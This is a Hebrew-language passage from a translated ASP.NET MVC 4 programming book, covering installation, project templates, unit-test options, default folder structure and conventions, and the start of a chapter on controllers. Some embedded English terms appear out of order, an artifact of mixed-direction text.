הכרזה זו סימנה . 2012 במאי ASP.NET Web Stackזה השתנה עם הכרזת הקוד הפתוח של כל 
) Razorכולל מנוע התצוגה  (ASP.NET Web Pages  של,ASP.NET MVCאת המעבר של תשתיות 

. קוד פתוחאמיתיים של  ם לפרויקטי,תחת רישיון קוד פתוחמהפצה  ASP.NET Web APIשל ו
 במאגרי קוד יםבפרויקטים הללו מבוצעוהמעקבים אחר סוגיות שונות הקוד עדכוני כל 

צוות בתנאי ש, אשר מוסף לתשתית, וחברי הקהילה רשאים להגיש קוד משלהם, ציבוריים
 . אשר אותןמהפיתוח 

וני באגים ושיפורים התקבלו מספר תיק, שלא חלף זמן רב מאז פתיחת הפרויקט לציבורלמרות 
הצעות קוד חיצוניות מוערכות ונבדקות על ידי . MVC 4 הגרסופצו עם כבר לקוד הרשמי וי

 בדומה לכל Microsoftמצד מלאה  הם יזכו לתמיכה ,כאשר ישוחררוו, ASP.NETהצוות של 
 . ASP.NET MVCהגרסאות הקודמות של 

דרך מצוינת לעקוב  הואמאגר הקוד הציבורי  ,לסייע בכתיבת קוד המקוראין בכוונתכם גם אם 
ביניים כדי לראות על מה נאלצנו לחכות לגרסאות בעוד שבעבר . אחר הפיתוחים החדשים

בכתובת (כעת ניתן לעקוב אחר עדכונים בקוד בזמן אמת , הצוות עובד
http://aspnetwebstack.codeplex.com/SourceControl/list/changesets(,ץ  ואפילו להרי

 . מוצגות בהםעדכוני קוד שמועלים מדי ערב כדי לנסות את האפשרויות והתכונות החדשות ש

 MVC 4יצירת יישום 
וזה בדיוק מה , היא להתחיל לבנות יישום MVC 4פועלת כיצד להבין הדרך הטובה ביותר 

 . שנעשה עכשיו

 ASP.NET MVC 4 עבורתוכנה הדרישות 

 : אלומערכות הפעלה די על י בצד הלקוחנתמכת  MVC 4תשתית 

 Windows XP 

 Windows Vista 

 Windows 7 

 Windows 8 

 : אלומערכות הפעלה ידי  על בשרת נתמכת MVC 4תשתית 

 Windows Server 2003 
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 Windows Server 2008 

 Windows Server 2008 R2 

 Visual במערכתוניתן להתקינם , Visual Studio 2012 -משולבים ב MVC 4כלי הפיתוח של 

Studio 2010 SP1 או Visual Web Developer 2010 Express SP1. 

 ASP.NET MVC 4התקנת 

. ASP.NET MVC 4הגיע הזמן להתקין את , לאחר שווידאתם שאתם עומדים בדרישות הבסיסיות
 . למרבה המזל מדובר בתהליך די פשוט

 MVCגרסאות קודמות של להתקנה במקביל 

ולכן אין צורך בהכנות , MVCגרסאות קודמות של  לצד MVC 4באפשרותכם להתקין את גרסת 
לאחר ההתקנה תוכלו להמשיך ליצור ולעדכן יישומי . מקדימות כלשהן לפני תחילת ההתקנה

MVC בדיוק כפי שעשיתם עד כה3 או 2, 1 מגרסאות . 

  MVC 4התקנת רכיבי הפיתוח של 

, Visual Studio 2012- וVisual Studio 2010 - תומכים בASP.NET MVC 4כלי הפיתוח של 
 .  אשר מופצות ללא תשלוםשל שני המוצרים Expressלרבות גרסאות 

אם אתם . ולכן אין צורך בהתקנה נוספת, Visual Studio 2012 כלולה בתוכנה MVC 4תשתית 
 Web Platform Installer באמצעות MVC 4תוכלו להתקין את , Visual Studio 2010 -משתמשים ב

)http://www.microsoft.com/web/gallery/install.aspx?appid=MVC4VS2010 ( קובץ באמצעות או
עדיף ). http://go.microsoft.com/fwlink/?LinkID=243392להורדה בכתובת (להרצה התקנה 

שכך ניתן מכיוון ) WebPi בקיצור לעתיםאשר נקרא  (Web Platform Installer -להשתמש ב
ההתקנה להרצה יכול לפעול ללא חיבור קובץ .  בלבדהנחוציםהרכיבים להוריד ולהתקין את 

 . דרשוישיאת כל הרכיבים הזמינים למקרה מכיל ולכן הוא , לאינטרנט

  בשרתMVC 4התקנת 

במקרה ו, הם מופעלים במחשב ללא סביבת פיתוח נתמכתיודעים לזהות שאשפי ההתקנה 
, בהנחה שהשרת מחובר לאינטרנט. שמיועדים לשרתהרכיבים נים רק את ימתקהם שכזה 

 . להתקין את כלי הפיתוחשכך לא תידרשו  מכיוון ,פחות כבדהתהיה  WebPIהתקנה באמצעות 

 Global Assembly - בים מותקנMVCזמן הריצה של רכיבי קוד , שרתב MVC 4בעת התקנת 

Cache) GAC (רכיבי את  לצרףאפשרות נוספת היא . שרתפועל בש לכל אתר ים שיהיו זמינכדי
. שרתגם ב םשבמקרה זה אין צורך להתקין אותברור ו , עצמםיישומיםתוך הל ים הנחוצהקוד 

עדכון הכלים של לפני . דורש קצת יותר עבודה, bin deployment אשר מכונה, תהליך זה
MVC 3 , לאפשרות רכיבי הקודהמפתחים נדרשו להגדיר באופן ידני את Copy Local בסביבת 
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Visual Studio ,שיח -או להשתמש בתיבת הדוInclude Deployable Assemblies . החל מגרסת
MVC 4 , באמצעות הפניות ים נכללהרכיביםכל NuGet .נוספים הרכיבים  הדרושיםכל , כלומר 

. bin deployment יכולים להיפרס באמצעות MVC 4וכל יישומי , bin הבאופן אוטומטי לתיקיי
 . Visual Studio 2012 -קיימת ב אינה Include Deployable Assemblies התיבהזוהי הסיבה ש

 ASP.NET MVC 4יצירת יישום 

גם  וVisual Studio 2010  העבודה תתווספנה אפשרויות חדשות לסביבתMVC 4 התקנתלאחר 
מאוד ) IDE(שתי סביבות הפיתוח המשולבות העבודה עם . Visual Web Developer 2010אל 

, Visual Studio  הפיתוחנתמקד בפיתוח בסביבת, מיועד לאנשי מקצועזה ספר שמכיוון . דומה
 . הבדלים משמעותייםקיימים רק כאשר  Visual Web Developerונזכיר את 

MVC Music Store 

חלק מהדוגמאות שישמשו אותנו במהלך ספר זה מבוססות במידה מסוימת על ההדרכה 
ניתן להוריד את ההדרכה הזו בכתובת . MVC Music Storeשנועדה עבור האתר לדוגמה 

http://mvcmusicstore.codeplex.com . עמודים באנגלית 150היא כוללת ספר אלקטרוני של 
ספר זה כולל הסברים מקיפים ומעמיקים . MVC 4אשר מכסה היבטים שונים של בניית יישומי 

קו למידע נוסף אבל היה לנו חשוב לספק איזשהו בסיס התחלתי למקרה שתזדק, יותר
 .בנושאים היסודיים

 :  חדשMVCכדי ליצור פרויקט 

 . 1-6כמוצג בתרשים , File  New Projectבחרו  .1

 New Projectשיח -בעמודה השמאלית של תיבת הדו, Installed Templatesתחת  .2
כעת תופיע בעמודה . Visual C#  Webבחרו ברשימת התבניות , )1-7תרשים (

 . מה שמכילה סוגים שונים של יישומי אינטרנטהאמצעית רשי

ולחצו ,  בשדה השםMvcMusicStoreהזינו , ASP.NET MVC 4 Web Applicationבחרו  .3
OK . 
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 1-6תרשים 

 

 1-7תרשים 

 New ASP.NET MVC 4 Projectשיח -תיבת הדו

יחודיות שיח עם מספר אפשרויות י-תוצג בפניכם תיבת דו,  חדשMVC 4לאחר יצירת יישום 
על ידי שינוי . 1-8כמוצג בתרשים , הפרויקט החדשלפיהן יבנה  אשר MVCליישומי 
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של הבסיסיות גדרות ה לשלוט בחלק גדול מהתוכלושיח הזו -תיבת הדובהאפשרויות ש
 . החל מניהול חשבונות וכלה במנועי תצוגה ובדיקות, היישומים שלכם

 

  1-8תרשים 

 תבניות יישום

 :מובנותמבין מספר תבניות פרויקט את התבנית הרצויה ר  עליכם לבחותחילה

  תבניתInternet Application : תבנית זו מכילה את היסודות ליצירת יישוםMVC 
מספר ולהציג  מאפשרים להריץ את היישום מיד לאחר יצירתו אלה יסודות -אינטרנטי 

 גם מספר התבנית הזו כוללת. )זאתנעשה מיד (סטנדרטיים בחלון הדפדפן דפים 
כמוסבר  (ASP.NET Membershipמורצות מול מערכת שפעולות ניהול חשבון בסיסיות 

 ). 7בפרק 

  תבניתIntranet Application :אינטרנט ארגוני (תבנית ייחודית ליישומי אינטראנט( 
היא דומה לתבנית . ASP.NET MVC 3כחלק מעדכון הכלים של לתשתית נוספה אשר 

Internet Application , ניהול החשבון מורצות מול חשבונות  פעולות ,בניגוד אליהאך
Windows ולא מול מערכת ASP.NET Membership . 

  תבניתBasic :גליונות , היא כוללת את התיקיות הבסיסיות. זוהי תבנית מינימלית למדי
CSS ואת היסודות של יישום MVC ,אם תריצו יישום שנוצר . אך שום דבר מעבר לזה

 כדי רבלהשקיע מאמץ ואז תצטרכו תקבלו הודעת שגיאה , Basicת תבנית באמצעו
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 מנוסים MVC מיועדת למפתחי Basicתבנית ? אז למה זה טוב. להגיע לנקודת הפתיחה
 . שלהםלמבנה היישומים  אשרעם העדפות אישיות מאוד ברורות ב

  תבניתEmpty : בגרסאות הקודמות של התשתית תבניתBasic נקראה תבנית Empty , אך
התבנית ם ש, MVC 4עם .  במידה מספקתמפתחים רבים התלוננו שהיא לא ריקה

. החדשה מצדיקה את שמה Emptyוכעת תבנית , Basic- להוחלף Emptyשנקראה בעבר 
 . אבל שום דבר מעבר לזה, ומבנה תיקיות בסיסירכיבי קוד מכילה היא 

  תבניתMobile Application : תבנית , פרקהתחילת  בנאמרכפי שכברMobile 

Application  קישורים לספריית כוללתjQuery Mobile להקל על יצירת אתרים כדי 
ממשק , התבנית כוללת ערכות תצוגה לנייד. שמיועדים להצגה בהתקנים ניידים בלבד

 .Ajaxמשתמש מותאם לצגי מגע ותמיכה בניווט 
  תבניתWeb API : תשתיתASP.NET Web APIירותי  משמשת ליצירת שHTTP)  הסבר

עם , Internet Application דומה לתבנית Web APIתבנית ). 11פרק ניתן במעמיק 
התבנית אינה כוללת , לדוגמה. Web APIשינויים שנועדו לייעל את הפיתוח באמצעות 

 קרובות ניהול החשבונות לעתיםמנגנונים לניהול חשבונות משתמשים מכיוון ש
. MVCה משמעותית מניהול החשבונות הסטנדרטי של  שונה בצורWeb APIבאמצעות 

ואפילו בפרויקטים , MVC זמינות גם בשאר תבניות הפרויקט של Web APIהיכולות של 
 . MVCשאינם מסוג 

 מנועי תצוגה 

 View היא רשימת הבחירה New ASP.NET MVC 4 Projectשיח -האפשרות הבאה בתיבת הדו

Engine . ליצירת תגיות שיכולות לשמש , סגרתשפות ממנועי תצוגה מספקיםHTML ביישום 
MVC . 

אפשרות . Web Formsאו , ASPXמנוע התצוגה האפשרות המובנית היחידה הייתה , MVC 3לפני 
 . 1-9כפי שניתן לראות בתרשים , זו עדיין זמינה

 1-9תרשים    

 ,לימודהבהמשך . Razorמנוע התצוגה :  נוספה אפשרות חדשהMVC 3החל מגרסת , אולם
 . נדון בנושא זה בהרחבה, 3ובמיוחד בפרק 

  בדיקות

, )unit test(ממוקדות כל תבניות הפרויקט המובנות כוללות אפשרות ליצירת פרויקט בדיקות 
 .1-10מוצג בתרשים פי שכ
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 1-10תרשים    

יכלול הפרויקט שייווצר לא , Create a Unit Test Projectאם לא תסמנו את תיבת הסימון 
 . ובמקרה זה שאר האפשרויות אינן רלוונטיות, ממוקדותיקות בד

 סמנו את התיבה: המלצה

 בכל פרויקט שאתם Create a Unit Test Projectאנחנו מקווים שתתרגלו לסמן את התיבה 
 . יוצרים

נדון בבדיקות ). לפחות לא בשלב זה(איני מנסה לגייס אתכם לאיזו כת של בדיקות ממוקדות 
אשר עוסק בבדיקות ובדפוסים ניתנים , 12ובעיקר בפרק , בה במהלך הלימודממוקדות בהרח

 . ברצוני להמליץ בלבד ואינכם חייבים לסמן את אפשרות הבדיקה אם אינכם רוצים. לבדיקה

אלה שאינם . רוב המפתחים ששוחחתי איתם משוכנעים שלבדיקות יחידה יש יתרונות רבים
בר יכביד דאך הם חוששים שה, ינים לעשות זאתהיו מעוני, משתמשים בבדיקות ממוקדות

. ואפשר אפילו לומר שהם משותקים, מפחדים לטעות, הם אינם יודעים כיצד להתחיל. עליהם
 . הייתי שם-אני מכיר את ההרגשה 

. אינכם חייבים לדעת דבר על בדיקות ממוקדות. תסמנו את התיבה: אז הנה מה שאני מציע
ספר זה מכיל את .  כדי לעשות זאתALT.NETאו קעקוע של אתם לא צריכים הסמכה מיוחדת 

אבל הדרך הטובה ביותר להתחיל היא , כל הדרוש לכם כדי ללמוד לבצע בדיקות ממוקדות
תוכלו להתחיל לכתוב כמה בדיקות ללא , אם תרצו,  שבהמשךכדיפשוט לסמן את התיבה 
 .צורך בהכנות מקדימות

 : זמינותתהפכנה לאפשרויות נוספות תלמדו ש, Create a Unit Test Project התיבה סימוןלאחר 

 שלכםהבדיקהלפרויקט כלשהו שם  קבעו: הראשונה מאוד פשוטה  . 

  1-11כמוצג בתרשים ,  לבחור תשתית בדיקהמורָההאפשרויות השנייה . 

עובדה , חלקכם בוודאי הבחינו שהרשימה הנפתחת כוללת תשתית בדיקה אחת בלבד
שיח -שתיבת הדו ,הסיבה שהיא בכל זאת קיימת היא. וטין את הרשימהשלכאורה מייתרת לחל

 אם תתקינו תשתית בדיקת ,כןעל . נוספותממוקדות  של תשתיות בדיקות רישוםפתוחה ל
 . רשימה הנפתחתהיא תצורף ל, )' וכוxUnit ,NUnint ,MbUnitכגון ( חדשה ממוקדת
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 1-11תרשים 

 Visual Studio כלולה רק בחבילת Visual Studioתשתית בדיקת היחידה של  הערה

Professional 2012אם אתם משתמשים בגרסה .  ומעלהStandard Edition או Express של 
Visual Studio 2012 , עליכם להוריד ולהתקין את הרחבתNUnit ,MbUnit או xUnit עבור 

ASP.NET MVCשיח- כדי שאפשרות זו תהיה זמינה בתיבת הדו . 

 

 שתיות בדיקת ממוקדת לרשימה הנפתחתתהרשמה של 

 של New Projectשיח -האם תהיתם כיצד מתבצעת הרשמה של תשתית בדיקה לתיבת הדו
MVC ? 

 : אך באופן כללי הוא בנוי משני שלבים עיקריים, MSDNהתהליך מוסבר במלואו באתר 
)http://msdn.microsoft.com/en-us/library/dd381614.aspx( 

 MVC Test(ם ליצור ולהתקין פרויקט תבנית עבור פרויקט הבדיקה החדש תחילה עליכ .1

Project .( 

לאחר מכן בצעו הרשמה של סוג פרויקט הבדיקה החדש על ידי הוספת מספר רישומים  .2
 תחת Registry -ב

HKEY_CURRENT_USER\Software\Microsoft\VisualStudio\10.0_Config\MVC4\ 
TestProjectTemplates. 

אבל אם , יתן לכלול את שני השלבים הללו בתהליך ההתקנה של תשתית בדיקה ממוקדתנ
 . תוכלו להתאימם באופן אישי ללא מאמץ רב, תרצו

 כדי לוודא שהן New ASP.NET MVC 4 Projectשיח -בדקו את ההגדרות שבחרתם בתיבת הדו
 .  לאישורOKולחצו , 1-12תואמות להגדרות שבתרשים 

 אחד עבור יישום האינטרנט והשני עבור -לכם פתרון שכולל שני פרויקטים התשתית מספקת 
 .1-13כפי שמוצג בתרשים , בדיקות ממוקדות
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 1-12תרשים 

 

 1-13ים שתר
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 MVCשל יישום מבנה ה
מתווספים לפרויקט , Visual Studio חדש באמצעות ASP.NET MVCכאשר אתם יוצרים יישום 

פרויקטים שנוצרים באמצעות . 1-14כמוצג בתרשים , יקיותבאופן אוטומטי מספר קבצים ות
כמפורט ,  כוללים שמונה תיקיות ראשיותASP.NET MVC של Internet Applicationתבנית 
 . 1-1בטבלה 

 

 1-14ים שתר

 תיקיות ברירת המחדל הראשיות: 1-1טבלה 

 ייעוד  תיקייה 

/Controllers אחסון מחלקות הבקרים אשר מטפלות בבקשות URL. 

/Models נתונים ואובייקטים עסקייםמעבדותאחסון מחלקות שמייצגות ו . 

/Views  אחסון קבצי תבניתUIכגון ,  שאחראים על מימוש פלטHTML. 

/Scripts רייה ותסריטיאחסון קבצי ספ JavaScript) .js.( 

/Images אחסון תמונות שמוצגות באתר. 

/Content  אחסון גיליונותCSSשאינם תסריטים או תמונות,  אתר אחרים ותכני . 

/Filters והם מוסברים מסננים הינם כלי פיתוח מתקדמים. ניםאחסון הקוד של המסנ 
 . 14בפרק 

/App_Data לכתוב/אחסון קבצי נתונים שברצונכם לקרוא. 

/App_Start  ואיחוד, כמו למשל ניתוב, מנגנונים שוניםאחסון קוד תצורה עבור -Web API .
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 ? ואם איני מרוצה ממבנה התיקיות

מפתחים שעובדים על יישומים , למעשה. ASP.NET MVCמבנה התיקיות אינו נחוץ לתשתית 
כדי להקל על ניהול כל המידע , גדולים בדרך כלל יפרידו את היישום למספר פרויקטים

, לקותמחלקות מודלי נתונים ממוקמות לעתים בפרויקט שמיועד לספריות של מח, לדוגמה(
מבנה ברירת המחדל של הפרויקט מספק תיקיות , עם זאת). ובנפרד מיישום האינטרנט

 . סטנדרטיות מקובלות שמסייעות לשמור על הפרדת התפקידים בתוך היישום

 .ותיקיותבנוגע לקבצים חשובות להלן מספר נקודות 

  בתוך התיקייה/Controllers 1-15תרשים (בקר  תמצאו שתי מחלקות (- 
HomeControllerו -AccountController -ּפות לפרויקט על ידי סָ שמוVisual Studio על 
 . פי ברירת מחדל

  בתיקייה/Views שלוש תיקיות משנה  תמצאו- /Account ,/Homeו - /Shared - שבכל 
לפרויקט על פי ברירת מחדל מוּסָפות  וגם תיקיות אל. מספר קבצי תבניתיש אחת מהן 

 ). 1-16תרשים (

           

 1-16תרשים       1-15תרשים 
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   בתיקיות/Contentו -/Scripts תמצאו קובץ Site.css אשר משמש להגדרת הסגנון של 
 שמַתירות שימוש JavaScriptיש בו גם ספריות , בנוסף.  באתרHTMLכל דפי 

 ). 1-17תרשים ( ביישום jQueryבאפשרויות 

  בפרויקטMvcMusicStore.Tests שתי מחלקות שמכילות בדיקות ממוקדות עבור  תמצאו
 ). 1-18תרשים (מחלקות הבקר שלכם 

            

 1-18תרשים                 1-17תרשים 

מספקים את המבנה הבסיסי , Visual Studioאשר נוצרים על ידי , קבצי ברירת המחדל הללו
 לכניסה והתנתקות של דפים, דף אודות, כולל דף בית, הדרוש ליישום אינטרנט מתפקד

כל הדפים . לא מטופלותשדף שגיאות גם ו, משתמשים רשומים ורישום משתמשים חדשים
 . מגיעים כשהם מחוברים כהלכה ומוכנים לפעולה



 31   צעדים ראשונים: 1פרק 

  ומוסכמות ASP.NET MVCתשתית 

  מסתמכים בצורה נרחבת על מוסכמותASP.NET MVCיישומי , על פי ברירת מחדל
)conventions( .וסכת מהמפתחים חלק גדול מהגדרות התצורה ומהצורך לציין באופן גישה זו ח

 . ותכמ מוספימפורש דברים שניתנים להסקה על 

עיבוד של  מסתמכת על מבנה של תיקיות בעלות שמות מוסמכים בעת MVCתשתית , לדוגמה
ה זו מאפשרת לכם להשמיט את נתיב המיקום בכל פעם שאתם מפנים מומוסכ, תבניות תצוגה

 ASP.NET MVCתשתית , על פי ברירת מחדל). 1-18תרשים (בקר גות מתוך מחלקת לתצו
 הוא - ControllerNameכאשר ( \Views\[ControllerName]\בתוך התיקייה   התצוגהמחפשת את
  .יקיית היישום שנמצאת בת)שם הבקר

ידת ואשר במ,  מעוצבת סביב מספר ברירות מחדל שנגזרות ממוסכמות הגיוניותMVCתשתית 
 ". מוסכמות במקום תצורות"הגישה הזו מכונה .  אותןלעקוףגם הצורך ניתן 

 מוסכמות במקום תצורות

החלה לצבור  )convention over configuration(מוסכמות במקום תצורות  התפיסה
ניתן ובאופן כללי , Ruby on Rails במידה רבה בזכות תשתית ,פופולריות לפני מספר שנים

 : כךלסכם אותה

אז למה שלא נטמיע את החוויה הזו , אנחנו כבר יודעים איך לבנות יישומי אינטרנט
 .  קביעת התצורהתהליכי שלא נידרש לחזור שוב ושוב על כדיבתשתית 

 נבחן את שלוש תיקיות ASP.NET MVCכדי לראות כיצד תפיסה זו באה לידי ביטוי בתשתית 
 : התקינה של היישוםהפעולההליבה שמאפשרות את 

 התיקייה Controllers 

  התיקייהModels 

  התיקייהViews 

 התשתית מצפה שהן - web.configאינכם צריכים להגדיר את שמות התיקיות הללו בקובץ 
, XMLעריכת קבצי  זו אינכם צריכים להשקיע זמן בדרךב.  שם מכיוון שזו המוסכמהתהיינה

שהתצוגות שלכם  MVCרש למנוע כדי להגדיר באופן מפו, כם שלweb.configכמו למשל קובץ 
 . מוסכם הדבר. אתז הוא כבר יודע - Views בתיקייה נמצאות

שעשוי להוביל תהליך אוטומטי אין זה אבל , אולי קצת, טוב. אין כאן שום דבר קסום
 ). תוצאות שעלולות לגרום לנזק, או גרוע מכך(לתוצאות בלתי צפויות 

אלו הן הדרישות שחלות על מבנה היישום .  מאוד ישירותASP.NET MVCהמוסכמות של 
 : שלכם

  בתיים להיקרא בשם שמסכל הבקרים חייב-Controller,ה לדוגמ: ProductController ,
HomeControllerלהימצא בתיקייה עליהם ו',  וכוControllers. 
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  להיות תיקיית חייבתViewsיחידה לכל התצוגות ביישום  . 

  ת להימצא בתיקיית משנה של תיקיית צריכותצוגות שמשמשות את הבקריםViews 
). Controllerלאחר השמטת סיומת (ולהיות בעלות שם שתואם את שם הבקר , הראשית
 להימצא בתיקייה , שהזכרנו קודםProductControllerעל התצוגות של הבקר , לדוגמה

/Views/Product . 

 Sharedתפת בשם תיקייה משו בצריכים להיותשל ממשק המשתמש משותפים אלמנטים 
 . נרחיב את הדיון בתצוגות 3בפרק . Viewsבתיקייה ש

 מוסכמות מפשטות את התקשורת

 :לים מאוד שוניםהמסר הזה מועבר לשני קה. עביר מסרלהאנחנו כותבים קוד כדי 

 עלינו להעביר למחשב הוראות לביצוע בצורה ברורה שאינה משתמעת לשני פנים . 

 ם לנווט בקוד ולהבין אותו כדי לאפשר להם לתחזק ברצוננו לאפשר למפתחים אחרי
 . לנפות באגים ולשפר אותו, אותו

בצורה פשוטה ויעילה לתקשר כבר הסברנו כיצד גישת מוסכמות במקום תצורות עוזרת לכם 
השימוש במוסכמות מאפשר לכם  ,בנוסף. הכוונות שלכם עצמה בדבר MVCעם תשתית 

במקום ). פיתוח שלכם עצמכם בעתידכולל (ים לתקשר בצורה נוחה גם עם מפתחים אחר
 שבו תתארומקום עליכם לבחור , לתאר ולהסביר כל דבר שוב ושוב במקומות שונים בתוכנה

מאפשרת  הקפדה על מוסכמות מקובלות . ההיבטים המבניים של היישום שלכםכלאת 
אחד , ליבאופן כל. משותפות בכל היישומים שלהםמוצא על נקודות להתבסס  MVCלמפתחי 

מכיוון . היתרונות של השימוש בתבניות עיצוב תוכנה היא היצירה של שפה משותפת
, מספר מוסכמות מוגדרות היטביחד עם  MVC מיישמת את תבנית ASP.NET MVCשתשתית 

למרות שלא כתבו  - גם ביישומים גדולים -קוד את ה יכולים בקלות רבה להבין MVCמפתחי 
 ). רים שכתבו אותואו שאינם זוכ(אותו בעצמם 

 סיכום

נו יוהרא, ASP.NET MVCהקדמה לתשתית פתחנו ב.  מגוון רחב של נושאיםהעלינובפרק זה 
מאוד  ליצירת מערכת MVC עם תבנית עיצוב התוכנה ASP.NETכיצד שולבה תשתית האינטרנט 

 ASP.NET MVCסקרנו את ההתפתחות וההתבגרות של .  יישומי אינטרנטלפיתוח שליעילה 
לאחר . ASP.NET MVC 4דגשים העיקריים של במאפיינים ובבהרחבה עסקנו ו, רסה לגרסהמג

 , פשוטMVC 4ליצור יישום כיצד נו כיצד להתקין את סביבת הפיתוח ויסקירת הרקע הרא
בפרקים הבאים נעסוק בכל הרכיבים . MVC 4יישומי לסיום בחנו את המבנה והרכיבים של ו

  .  עוסק בבקרים אשר2החל מפרק , הללו בהרחבה
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 )Controllers(בקרים 

Jon Galloway 

 

 עיקרי הפרק

 תפקיד הבקר 

 בקצרה, תולדות הבקר 

 יישום לדוגמה :The MVC Music Store 

 עקרונות בסיסיים 

 

במהלך הפרק .  ומחזירים מידע לדפדפןHTTPבפרק זה נסביר כיצד בקרים מגיבים לבקשות 
מכיוון . פעולות בקרל הבקר הנקראות נדון בתפקידים ופעילות הבקרים ונתמקד בפונקציות ש

מה בפרק זה פעולות הבקר שישמשו אותנו להדג, שעדיין לא למדנו על תצוגות ומודלים
 . פרק זה יספק לכם את היסודות הנחוצים להבנת הפרקים הבאים. יתהיינה כלליות למד

ית ולאחריו השוואה בין תשת, )MVC(בקר -תצוגה- כלל דיון כללי בתבנית מודל1פרק 
ASP.NET MVC לבין תשתית ASP.NET Web Forms . כעת הגיע הזמן להתעמק באחד משלושת

 ). Controller (הבקר - MVCמרכיבי הליבה של תבנית 

 תפקיד הבקר
. חשוב לקרוא את הפרק לאור גישה זו. עבור אל הפרטיםנולאחר מכן , נפתח בהגדרה קצרה

מהות הבסיסית של הבקר ולהוביל אל המטרה היא תעזור לכם לשלב בין הדיון הטכני לבין ה
 . שלשמה הוא קיים

לעתים קרובות הם ,  אחראים להגיב לקלט מהמשתמשMVCבתבנית ) controllers (בקרים
 מטפלים MVCהבקרים בתבנית . עושים זאת תוך ביצוע שינויים למודל בהתאם לקלט שקיבלו

 . ים נתונים יוצאים לתצוגות הרלוונטיותומעביר, עובדים עם נתונים נכנסים, בזרימה של היישום
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כאשר החל השימוש .  שאוחסנו בקבצים בדיסקHTMLשרתי אינטרנט היו מספקים דפי , בעבר
 שהופקו על פי בקשה על HTMLשרתי אינטרנט נדרשו לספק דפי , בדפי אינטרנט דינמיים

. ת בדרך שונה עושה כל זאMVCתבנית . סמך תסריטים דינמיים שהיו גם הם שמורים בדיסק
אותו נכיר במהלך הפרקים הבאים ( שמתקבלת מהלקוח מאפשרת למנגנון הניתוב URLשורת 

לקבוע איזה סוג אובייקט יש ליצור מתוך מחלקות הבקר ) 9ונחקור בצורה מעמיקה בפרק 
ובנוסף לכך היא גם מספקת את הארגומנטים , לקרוא) method(ולאיזו שיטה , השונות

, השיטה של הבקר קובעת באיזו תצוגה להשתמש, לאחר מכן. ופעלתהנחוצים לשיטה המ
 .  הדרושHTMLוהתצוגה הנבחרת מפיקה את קוד 

קיים ,  לבין קובץ פיזי שמאוחסן בדיסק הקשיח של השרתURLבמקום קשר ישיר בין כתובת 
 מיישמת את ASP.NET MVCתשתית .  ושיטה במחלקת הבקרURLקשר ישיר בין שורת 

למעט , כלומר הבקר נמצא לפני כל שאר האלמנטים, MVCקר הקדמי של תבנית וריאציית הב
 . 9כמוסבר בפרק , מערכת הניתוב-תת

 בסביבת האינטרנט היא לדמיין תבנית שמחזירה MVCדרך טובה לחשוב על אופן הפעולה של 
 ). באמצעות תסריט(ללקוח תוצאות של קריאות לשיטות במקום דפים שמופקים באופן דינמי 

 קיצור תולדות הבקר

וגובשה מספר עשורים לפני עידן יישומי האינטרנט ,  קיימת כבר זמן רבMVCתבנית 
היו חדשים באופן ) GUI(ממשקי משתמש גרפיים ,  פותחה לראשונהMVCכאשר . המודרניים

כאשר , באותה תקופה. ודפוסי האינטראקציה עם המשתמש עדיין לא התגבשו לחלוטין, יחסי
לקלט הזה " האזין"תהליך כלשהו , על מקש במקלדת או לחץ על לחצן שבמסךמשתמש הקיש 

תרגומו ועדכון של מחלקת , הבקר היה אחראי על איסוף הקלט.  התהליך הזה היה הבקר-
עדכון המשתמש על שינויים או עדכוני  -ולבסוף , )שהיא למעשה המודל(הנתונים הנדרשת 

 ). 3בה בפרק אשר תיסקר בהרח, באמצעות התצוגה(תוכנה 

שם גם פותחה  (Xerox PARCחוקרים במרכז המחקר , 80- ותחילת שנות ה70-בסוף שנות ה
שבו המשתמשים , )GUI(החלו לעבוד על הרעיון של ממשק משתמש גרפי ) MVCתבנית 

וירטואלי שבו הם יוכלו ללחוץ על פריטים ולגרור אותם " שולחן עבודה"בסביבת " עובדים"
 Event-driven (אירועים-מונחה תכנותהייתה נקודת הפתיחה לרעיון של זו . ממקום למקום

programming (-כגון לחיצת ,  הרצת פעולות תוכנה על סמך אירועים שהמשתמש יוזם
 . עכבר או הקשה במקלדת

 אינה MVCהיה ברור שתבנית ,  הפכו לסטנדרט בתעשייהGUIכאשר ממשקי , במשך הזמן
אם .  עצמם מטפלים בקלט מהמשתמשGUIשבהן רכיבי , ומתאימה למערכות החדשות הלל

הלחצן מודיע , במקרה של לחיצה. ולא הבקר, הלחצן עצמו מגיב ללחיצת העכבר, לחצן נלחץ
 Model-View-Presenterעם הזמן התברר שתבניות כגון . לרכיבי תוכנה שונים שהוא נלחץ

)MVP ( מספקות מענה מתאים הרבה יותר מתבניתMVCרכות מודרניות מסוג זה עבור מע . 
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ועובדה זו מייחדת אותה , אירועים- הינה מערכת מבוססתASP.NET Web Formsתשתית 
אירועים -בקרה ומוכוון-התשתית שימשה כמודל תכנות מבוסס. כפלטפורמת יישומי אינטרנט

תשתית זו גם סיפקה ממשק משתמש . עשיר שמעליו יכלו המתכנתים לכתוב את הקוד שלהם
הלחצן היה מגיב ומעלה , במקרה של לחיצה על לחצן.  עבור יישומי אינטרנטרכיבים-מרובה

היתרון של הגישה הזו היה בכך שהיא איפשרה למפתח . אירוע בשרת כדי להודיע שהוא נלחץ
 . לעבוד ברמות גבוהות יותר של הפשטה בעת כתיבת קוד

ים הושקעו כדי לדמות את נגלה שהרבה מאמצ, אם נציץ למנגנוני הפעולה הפנימיים, אולם
כאשר מתבצעת , מתחת לפני השטח.  הזוהרכיבים-ומרובתהאירועים -ההתנהגות מוכוונת

הדפדפן שולח לשרת בקשה שמכילה את מצב הבקרים בדף בתוך שדה קלט , לחיצה על לחצן
 נדרשת לבנות מחדש את כל ASP.NETתשתית , בתגובה לבקשה הזו, בצד השרת. חבוי ומקודד

כדי לשחזר את , ית הרכיבים ולאחר מכן לפרש את הבקשה הזו תוך שימוש בתוכנההיררכי
התהליך המורכב הזה נדרש מכיוון . המצב הנוכחי של היישום בדפדפן של הלקוח הנוכחי

ביישומי חלונות שבהם רוב . מצב-שפעילות ברשת האינטרנט מטבעה הינה סביבה נטולת
אין צורך לבנות מחדש את התצוגה ואת היררכיית , תהליכי העיבוד מבוצעים בתחנת העבודה

מכיוון שהיישום נשאר במקומו ויכול , הבקרה בכל פעם שהמשתמש לוחץ על אלמנט בממשק
 . להמשיך לשרת את המשתמש

אך משוחזר מחדש ,  מצב היישום שפועל עבור משתמש מסוים נעלםWWWברשת , לעומת זה
אבל בעיקרון אפשר לומר , ו שזה נשמעכמובן שזה לא כל כך פשוט כמ. עם כל לחיצה

הדבר מעלה את .  בכל פעם מחדשHTMLשממשק המשתמש נשלח מהשרת לדפדפן בצורת דף 
